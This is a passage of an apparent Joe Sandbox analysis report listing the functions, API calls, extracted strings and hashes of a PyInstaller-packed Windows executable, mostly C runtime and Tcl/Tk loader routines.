Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: e2de9878703590bc837ba1259ae6d824fb763d306838e77d89e5e4a8e9f4f42d
Instruction ID: 50e70590f7e2ff050460735a807463bbd7288eeee41034a7b54620a0331fd5d6
Opcode Fuzzy Hash: e2de9878703590bc837ba1259ae6d824fb763d306838e77d89e5e4a8e9f4f42d
Instruction Fuzzy Hash: 2F219F21B1C65286FA50BA5279047FAE651BF45BE4FEC4430EE4D87786EE7CE049C610

Function 00007FF78D29B45C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D29B4E2

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 17b3b63f23ed2d753748393317dd4bbe89a3b9c5587ffa1aeaaacea03043ac7f
Instruction ID: 167e1a16a6b00e222ef59bcae92e25be73b13d31008379add212ac56f3143787
Opcode Fuzzy Hash: 17b3b63f23ed2d753748393317dd4bbe89a3b9c5587ffa1aeaaacea03043ac7f
Instruction Fuzzy Hash: 95318321A1C652A5F711BB658881BFCA651BF40F65FA10135DA1D033D2EF7CE44AD734

Function 00007FF78D299451 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF78D29947F

Part of subcall function 00007FF78D299578: GetModuleHandleExW.KERNEL32 ref: 00007FF78D29959D
Part of subcall function 00007FF78D299578: GetProcAddress.KERNEL32 ref: 00007FF78D2995B3
Part of subcall function 00007FF78D299578: FreeLibrary.KERNEL32 ref: 00007FF78D2995DA

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: d3c0e1d4c361b08a89d7a3ca65ea673df30e6e95fc5c96e6d3a70bd088f76b64
Instruction ID: 6849c7a7f0a89b078accf74cc00dfeaebf0f20bd76d4cfe57f1bd40077b01f8b
Opcode Fuzzy Hash: d3c0e1d4c361b08a89d7a3ca65ea673df30e6e95fc5c96e6d3a70bd088f76b64
Instruction Fuzzy Hash: F1219F32A087419EEB25AFB4C4406EC77A5FB04328FA42635D71C06AC5FF38D558C760

Function 00007FF78D295A08 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D29596D

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d9ead00eaff111a2746de835e460df0b27a55040472c8608b554fecfd086cef
Instruction ID: 3c3cc2322e3f3ca9b3f2c3ee06c163b5c1febe244b8a746a58affb08e4cf2cc9
Opcode Fuzzy Hash: 2d9ead00eaff111a2746de835e460df0b27a55040472c8608b554fecfd086cef
Instruction Fuzzy Hash: EE118421B1C68191FE60BF259401AFDE2B6BF85B94FA44431EA8C57786EF3DD405C7A0

Function 00007FF78D2A620C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A622F

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5e6a4a8e8f6f0086eed50c765a9cb2e84b420dc1b752e3423a2ec297afe4d8f5
Instruction ID: 9f91866419f1730108f3ea5f64e8eeed9775125dc91bdec3eada9817f6595877
Opcode Fuzzy Hash: 5e6a4a8e8f6f0086eed50c765a9cb2e84b420dc1b752e3423a2ec297afe4d8f5
Instruction Fuzzy Hash: AF21D732A0CA8146DB60AF29E4407B9F7A1FB84B65FB44234E65D476D9EF3DD408CB10

Function 00007FF78D28FB5C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D28FBB0

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 215f36e0c119f704e1778d1fa7adc7c7f8c4439e03ce03a548749a3f9dc7c182
Instruction ID: 2d27f95b60b75d5924150a90f7029c58ec18aa54ac90c3c4bd6396b821c8871a
Opcode Fuzzy Hash: 215f36e0c119f704e1778d1fa7adc7c7f8c4439e03ce03a548749a3f9dc7c182
Instruction Fuzzy Hash: 6A01A522A1C79240EA04BB5259010B9E795BF85FE0FA84270DE5C53BD6EE3CE416C310

Function 00007FF78D297010 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D29704E

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7a690b88d551a826227dafc8ebb4de00e4a10a52f576e23b09298fa5d25162be
Instruction ID: 5b105385f9798b394716cab4c28721d92d8fef6e1c827ec5e4ef410733263c6a
Opcode Fuzzy Hash: 7a690b88d551a826227dafc8ebb4de00e4a10a52f576e23b09298fa5d25162be
Instruction Fuzzy Hash: 06018021E1D64250FE607B665641AF9D592BF44BE0FF40634E95C436C6FE3DB84BC220

Function 00007FF78D29734C Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D297365

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6d56955c9c81706069cc343df1e629214711a864640335e79fef0628d15a0890
Instruction ID: b0a0722f25c8c01f318f42a13edc837155678ef1b9dca13bc5c4ba95e86e8a7f
Opcode Fuzzy Hash: 6d56955c9c81706069cc343df1e629214711a864640335e79fef0628d15a0890
Instruction Fuzzy Hash: 7AE0E261E1C246A2FB247AB54982AF8915ABF18340FF05030DE4907383FE2E784ED639

Function 00007FF78D2883C0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 53fd0951d5e1c80625554c2cb329b07086b15883b03b4897cd8b18a6564796e3
Instruction ID: 971da85b1dca106353a6587b71042b6aac408dae342ab79533d02f5726872c26
Opcode Fuzzy Hash: 53fd0951d5e1c80625554c2cb329b07086b15883b03b4897cd8b18a6564796e3
Instruction Fuzzy Hash: CD418817D1C68681EA11AB24E5112FDA360FBA9744FA5A232DF8D92153FF2CA1DDC320

Function 00007FF78D29E6B8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF78D29AF06,?,?,?,00007FF78D29A0C7,?,?,00000000,00007FF78D29A362), ref: 00007FF78D29E70D

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: fd017832212f6fd53ce8f6ddfb3f9596371a63112668e92484d209a1e1d7d8c1
Instruction ID: 78b65bf9bbda16e1b6c375638af3226f57f6fdb3db85567cb0b1c541696b18ad
Opcode Fuzzy Hash: fd017832212f6fd53ce8f6ddfb3f9596371a63112668e92484d209a1e1d7d8c1
Instruction Fuzzy Hash: 9FF04F24B0E30661FE557A6658117F5D286BF44750FE84430D90D863C1FE1CE4A9C231

Function 00007FF78D29D11C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF78D290384,?,?,?,00007FF78D291896,?,?,?,?,?,00007FF78D292E89), ref: 00007FF78D29D15A

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 06144f58f8db25d922b37b3b665ba7bf4f4b68ecab76d44aaf176de86f3a354d
Instruction ID: 159219ea11a9cb4fc407c5a4b6588bdb7881d94d803406cf555cdfc1279b93aa
Opcode Fuzzy Hash: 06144f58f8db25d922b37b3b665ba7bf4f4b68ecab76d44aaf176de86f3a354d
Instruction Fuzzy Hash: 50F0FE1AB0D24655FF6476A25801AF6D1927FC4770FE84730D92E866C2FE1CA448D230

Non-executed Functions

Function 00007FF78D286ED0 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF78D286EE7
GetProcAddress.KERNEL32 ref: 00007FF78D286F26
GetProcAddress.KERNEL32 ref: 00007FF78D286F4B
GetProcAddress.KERNEL32 ref: 00007FF78D286F70
GetProcAddress.KERNEL32 ref: 00007FF78D286F98
GetProcAddress.KERNEL32 ref: 00007FF78D286FC0
GetProcAddress.KERNEL32 ref: 00007FF78D286FE8
GetProcAddress.KERNEL32 ref: 00007FF78D287010
GetProcAddress.KERNEL32 ref: 00007FF78D287038

Strings

Failed to get address for Tcl_EvalFile, xrefs: 00007FF78D2872CA
Failed to get address for Tcl_Alloc, xrefs: 00007FF78D287342
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF78D28704A
Failed to get address for Tk_Init, xrefs: 00007FF78D287392
Tcl_NewStringObj, xrefs: 00007FF78D28720E
Tk_Init, xrefs: 00007FF78D287376
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF78D287162
Failed to get address for Tcl_Finalize, xrefs: 00007FF78D286FAA
Tcl_EvalFile, xrefs: 00007FF78D2872AE
Tcl_Alloc, xrefs: 00007FF78D287326
Tcl_FinalizeThread, xrefs: 00007FF78D286FB6
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF78D287252
Tcl_SetVar2, xrefs: 00007FF78D287196
Failed to get address for Tcl_Init, xrefs: 00007FF78D286EF9
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF78D286FFA
Tcl_MutexUnlock, xrefs: 00007FF78D28707E
Tcl_ConditionNotify, xrefs: 00007FF78D2870CE
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF78D286F38
Tcl_EvalObjv, xrefs: 00007FF78D2872FE
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF78D286F82
Failed to get address for Tcl_GetString, xrefs: 00007FF78D287202
Failed to get address for Tcl_CreateThread, xrefs: 00007FF78D287022
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF78D2870EA
GetProcAddress, xrefs: 00007FF78D286F00
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF78D28722A
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF78D2873BA
Tcl_DeleteInterp, xrefs: 00007FF78D286FDE
Tcl_GetCurrentThread, xrefs: 00007FF78D28702E
Tcl_ThreadAlert, xrefs: 00007FF78D287146
Tcl_DoOneEvent, xrefs: 00007FF78D286F66
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF78D28727A
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF78D28709A
Tcl_FindExecutable, xrefs: 00007FF78D286F41
Tk_GetNumMainWindows, xrefs: 00007FF78D28739E
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF78D28731A
Failed to get address for Tcl_Free, xrefs: 00007FF78D28736A
Failed to get address for Tcl_MutexLock, xrefs: 00007FF78D287072
Tcl_CreateObjCommand, xrefs: 00007FF78D2871BE
Tcl_EvalEx, xrefs: 00007FF78D2872D6
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF78D2870C2
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF78D287112
Failed to get address for Tcl_GetVar2, xrefs: 00007FF78D28718A
Failed to get address for Tcl_SetVar2, xrefs: 00007FF78D2871B2
Tcl_CreateThread, xrefs: 00007FF78D287006
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF78D286FD2
Tcl_ConditionWait, xrefs: 00007FF78D2870F6
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF78D28713A
Tcl_Init, xrefs: 00007FF78D286EE0
Tcl_GetString, xrefs: 00007FF78D2871E6
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF78D286F5D
Tcl_CreateInterp, xrefs: 00007FF78D286F1C
Tcl_ThreadQueueEvent, xrefs: 00007FF78D28711E
Tcl_Free, xrefs: 00007FF78D28734E
Tcl_Finalize, xrefs: 00007FF78D286F8E
Tcl_GetObjResult, xrefs: 00007FF78D287286
Tcl_MutexLock, xrefs: 00007FF78D287056
Tcl_ConditionFinalize, xrefs: 00007FF78D2870A6
Tcl_NewByteArrayObj, xrefs: 00007FF78D287236
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF78D2871DA
Tcl_SetVar2Ex, xrefs: 00007FF78D28725E
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF78D2872A2
Tcl_GetVar2, xrefs: 00007FF78D28716E
Failed to get address for Tcl_EvalEx, xrefs: 00007FF78D2872F2

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: 7d9a07f3f082f3c2e175430c9ef7185799dfa57f3a4b7eb8fa6d3c9cf3254fe4
Instruction ID: d4bdd689423f15a3116b5d1152a1754c0410ef0d007467c321165b0edcc9c30d
Opcode Fuzzy Hash: 7d9a07f3f082f3c2e175430c9ef7185799dfa57f3a4b7eb8fa6d3c9cf3254fe4
Instruction Fuzzy Hash: 77E17C64A0DB0390FB59BB06A8501F4E7A5BF197A2FF45535D81E462A8FFACE54CC220

Function 00007FF78D2A3C7C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF78D2A3CCA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A4336
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A44AC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A476A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A498A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A4BC7
memcpy_s.LIBCPMT ref: 00007FF78D2A4CA2
memcpy_s.LIBCPMT ref: 00007FF78D2A4D4D
memcpy_s.LIBCPMT ref: 00007FF78D2A4E1C

Strings

1#QNAN, xrefs: 00007FF78D2A3DE3
1#SNAN, xrefs: 00007FF78D2A3DDA
1#INF, xrefs: 00007FF78D2A3DF3
1#IND, xrefs: 00007FF78D2A3DB7

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: e4a1f891d61e6a5f886a08033baeb6aba2d4f1d183fcd4396c7c8f01c516cfef
Instruction ID: 2a55b81d2d80546b586a7a869dddaf19190729c52e41d2324a8754568850c177
Opcode Fuzzy Hash: e4a1f891d61e6a5f886a08033baeb6aba2d4f1d183fcd4396c7c8f01c516cfef
Instruction Fuzzy Hash: A8B21572E1C2828BE724DF66D4407FDB7A1FB54398FA05135DA0D57A88EB38E909CB50

Function 00007FF78D288540 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF78D2829FE,?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D288567
FormatMessageW.KERNEL32 ref: 00007FF78D288596
WideCharToMultiByte.KERNEL32 ref: 00007FF78D2885EC

Part of subcall function 00007FF78D282980: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF78D2887D2,?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D2829B4
Part of subcall function 00007FF78D282980: MessageBoxW.USER32 ref: 00007FF78D282A92

Strings

WideCharToMultiByte, xrefs: 00007FF78D2885FD
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF78D288609
No error messages generated., xrefs: 00007FF78D2885A0
Failed to encode wchar_t as UTF-8., xrefs: 00007FF78D2885F6
FormatMessageW, xrefs: 00007FF78D2885A7
PyInstaller: FormatMessageW failed., xrefs: 00007FF78D2885B3

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: d31880021faa381e555eedcd0989fe792aab173754b32ed144927c82be8938be
Instruction ID: 80d281d322644632415267533ff01debaef02b8a7b350a84f85b38dc30a90246
Opcode Fuzzy Hash: d31880021faa381e555eedcd0989fe792aab173754b32ed144927c82be8938be
Instruction Fuzzy Hash: 11213D71A0CA4285E760BB16F8542F6E3A1FF88394FE40135E54D826A5FF7CD549C720

Function 00007FF78D28C5FC Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF78D28C618
RtlCaptureContext.KERNEL32 ref: 00007FF78D28C645
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF78D28C65F
RtlVirtualUnwind.KERNEL32 ref: 00007FF78D28C6A0
IsDebuggerPresent.KERNEL32 ref: 00007FF78D28C6F4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF78D28C711
UnhandledExceptionFilter.KERNEL32 ref: 00007FF78D28C71C

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
